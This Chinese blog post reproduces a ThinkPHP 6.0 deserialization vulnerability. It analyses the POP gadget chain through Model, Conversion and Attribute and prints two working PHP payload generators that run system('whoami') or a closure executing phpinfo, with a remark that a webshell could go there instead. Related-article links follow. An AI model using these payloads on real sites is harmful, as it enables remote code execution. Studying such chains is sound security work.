tp6 反序列化漏洞复现

环境

tp6.0 apache php7.3

漏洞分析

反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件

app/controller/Index.php

访问localhost/tp6.0/public/index.php/index/jiang出现phpinfo;

全局搜索 __destruct

可利用的在/vendor/topthink/think-orm/src/Model.php

跟进$this->save()

去看一下 setAttrs 方法

    public function setAttrs(array $data): void
{
// 进行数据处理
foreach ($data as $key => $value) {
$this->setAttr($key, $value, $data);
}
}
public function setAttr(string $name, $value, array $data = []): void
{
if (……) {
……
} else {
// 检测修改器
$method = 'set' . Str::studly($name) . 'Attr';
if (method_exists($this, $method)) {
$array = $this->data;
//注意这里可以调用动态函数,执行命令,但是上面对 method 进行字符串拼接
$value = $this->$method($value, array_merge($this->data, $data));
}

这里是不通的,继续往下审计,

跟进 $this->updateDate()

检查数据之后获取有更新的数据,这两个函数可以用来绕过下面的的 if 语句

后面构造pop的时候再细说。

跟进检查允许字段$this->checkAllowFields()

跟进 $this->db

注意这个字符串拼接符号$this->name . $this->suffix ,__toString的触发方式,除了字符串拼接的方式,还可以利用PHP自带函数参数的强制转换,上一篇的复现是用到php 自带函数的强制类型转换。

全局搜索 __toString,芜湖,来到了熟悉的conversion类里

跟进__toArray

前面的遍历先不看,跟进 getAttr()

先看返回值 的 $this->getValue

这里的

 $closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

注意看这里,我们是可以控制$this->withAttr的,那么就等同于控制了$closure

可以作为动态函数,执行命令。根据这个点,我们来构造pop。

从__destruct开始

一开始 我们需要 控制 $this->lazySave变量为真,然后进入的 save()方法,需要执行$this->updateDate不能被 提前return,去看 is_Empty() , trigger()方法,

    public function isEmpty(): bool
{
return empty($this->data);
//FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.
//$this->data 可控,设置非空的数组就好。
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
//!$this->withEvent 可控
return true;
}

且还需要 $this->exists 为真 ,这个参数也是可控的。

进入 $this->updateData 方法后,我们需要程序执行到 $this->checkAllowFields() 在此之前同样不能被return

跟进 getChangedData()

我们希望 data 不改变,所以就令 $this->force 为真。

$this->lazySave == true
$this->data不为空
$this->withEvent == false
$this->exists == true
$this->force == true

这里解释一下为什么把他们写在一起呢?

因为

model 类是复用了 trait 类 的,可以访问其属性,和方法。Model 类 是抽象类,不能被实例化,所以我们还需要找到其子类。

Pivot 类就是我们需要找的类。

到这里我们成功执行到了 $this->checkAllowFields(),还得进入 $this->db()

$this->field 为空,$this->schema 也为空。初始就是空数组,所以我们不做处理。

现在进入到 $this->db() 里。

$this->name$this->suffix设置为含有__toString的类对象就可以触发此魔术方法。

但是这里有意思的是,我们需要触发 __toString 的类 是 conversion 类 而这个类是 trait类,

而当前的model类是 复用了 conversion类的,所以我们相当于重新调用一遍 Pivot 类。也就是重新调用一下自己,触发自己的的__toString方法。这个操作在buuoj上的一道题目中遇到过。

再接着就是 toJson toArray ,前面两个foreach 不做处理,再下来这个foreach会进入最后一个if分支,调用getAttr方法。这个foreach 是遍历 $this->data ,然后将 $data$key传入

getAttr
$data = array_merge($this->data, $this->relation); foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

进入getAttr 方法,这里的$name 是 $key

跟进getData

跟进getRealFieldName()

$this->strict `默认值为True 所以 `$fieldName = $key

然后 返回的$value值就是 $this->data[$key]

最后return $this->getValue($key, $this->data[$key], $relation)

进入 getValue()

同理,这里的$fieldName 就是 $key 然后 我们设置一下$this->withAttr[$fieldName]的值,进入if(``isset($this->withAttr[$fieldName])) 分支。进行命令执行。

pop链

<?php
namespace think\model\concern; trait Attribute{
private $data=['jiang'=>'whoami'];
private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
protected $withEvent;
} namespace think; abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
} namespace think\model; use think\Model; class Pivot extends Model{} echo urlencode(serialize(new Pivot(new Pivot())));
?>

成功执行

$value  = $closure($value, $this->data);

这个动态函数的参数有两个 第一个是 $data 的 $value 第二个就是 $data 数组。

phpinfo(-1),只可以传入一个参数,导致执行错误。由于参数的限制,所以我们尝试另一种方法。

也就是树哥wp里写的方法,是利用tp自带的SerializableClosure调用

\Opis\Closure\SerializableClosure
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data);// 参数不用管,无影响。

修改上面的pop

<?php
namespace think\model\concern; trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
} namespace think; abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();};//可写马,测试用的phpinfo;
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>'']; $c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
} namespace think\model; use think\Model; class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot()))); ?>

这个方法搞了一下午,算是整明白了,虽然 tp6 有自带的SerializableClosure

但是我需要构造pop,所以就要自行下载 \Opis\Closure\

链接: https://github.com/opis/closure

使用方法可参照上述exp。

如有问题还请指出,欢迎分享骚姿势。

参照

https://mp.weixin.qq.com/s/G6XNP-S-5ykeKLvtfJVcUw

https://www.gaojiufeng.cn/?id=386

tp6.0.x 反序列化漏洞的更多相关文章

  1. xxl-job <=2.0.2 反序列化漏洞

    xxl-job <=2.0.2 反序列化漏洞 搭建 https://github.com/xuxueli/xxl-job/releases/tag/2.0.2 下载源码,导入idea,mysql ...

  2. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  3. 【原创】Spring Data Redis <=2.0.3反序列化漏洞

    Spring Data Redis隶属于Spring Data家族, 提供简单易用的方式来访问Redis缓存. Spring Data Redis在往Redis里面写数据的时候,默认会先对数据进行序列 ...

  4. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  5. [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

    [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

随机推荐

  1. 关于 Promise 的一些简单理解

    一.ES6 中的 Promise 1.JS 如何解决 异步问题? (1)什么是 同步.异步? 同步指的是 需要等待 前一个处理 完成,才会进行 下一个处理. 异步指的是 不需要等待 前一个处理 完成, ...

  2. day27 Pyhton 面向对象02 类和对象的命名空间

    一.内容回顾 类:具有相同属性和方法的一类事务 # 描述一类事务轮廓的一个机制 #商品/用户/店铺 对象/实例: 对象(实例)就是类的实例化 # 对象就是类的一个具体的表现 #某一件特定的商品/某个人 ...

  3. 界面酷炫,功能强大!这款 Linux 性能实时监控工具超好用!

    对于维护.管理Linux系统来说,它的性能监控非常重要,特别是实时监控数据,这个数据有利于我们判断服务器的负载压力,及时调整资源调配,也有助于更好的服务于业务.所以,今天民工哥给大家安利一款 Linu ...

  4. 论减少代码中return语句的骚操作

    一.写作背景 最近组内在推行checkstyle代码规范的检测,关于checkstyle的介绍可以参考:https://checkstyle.sourceforge.io, 在按照checkstyle ...

  5. [Leetcode题解]2. 两数相加-链表遍历和重构

    1. 审题leetcode 02 add-two-numbers​ 我们先看一下题目,如下  : 链表的从前往后为数字的低位到高位,模拟加法手算过程,从前往后遍历即可, 注意每个数字0-9,进位要处理 ...

  6. hugo官方相关文档地址

    +++ date="2020-10-17" title="hugo官方相关文档地址" tags=["hugo"] categories=[& ...

  7. 2019-2020-1 20209313《Linux内核原理与分析》第二周作业

    2019-2020-1 20209313<Linux内核原理与分析>第二周作业 零.总结 阐明自己对"计算机是如何工作的"理解. 一.myod 步骤 复习c文件处理内容 ...

  8. 使用OLEDB方式 读取excel和csv文件

    /// <summary> /// 使用OLEDB读取excel和csv文件 /// </summary> /// <param name="path" ...

  9. Java进阶专题(十五) 从电商系统角度研究多线程(下)

    前言 ​ 本章节继上章节继续梳理:线程相关的基础理论和工具.多线程程序下的性能调优和电商场景下多线程的使用. 多线程J·U·C ThreadLocal 概念 ​ ThreadLocal类并不是用来解决 ...

  10. 爬虫在linux下启动selenium-安装谷歌浏览器和驱动(傻瓜式教程)

    一.升级yum(防止不必要的麻烦) yum update -y yum -y groupinstall "Development tools" yum install openss ...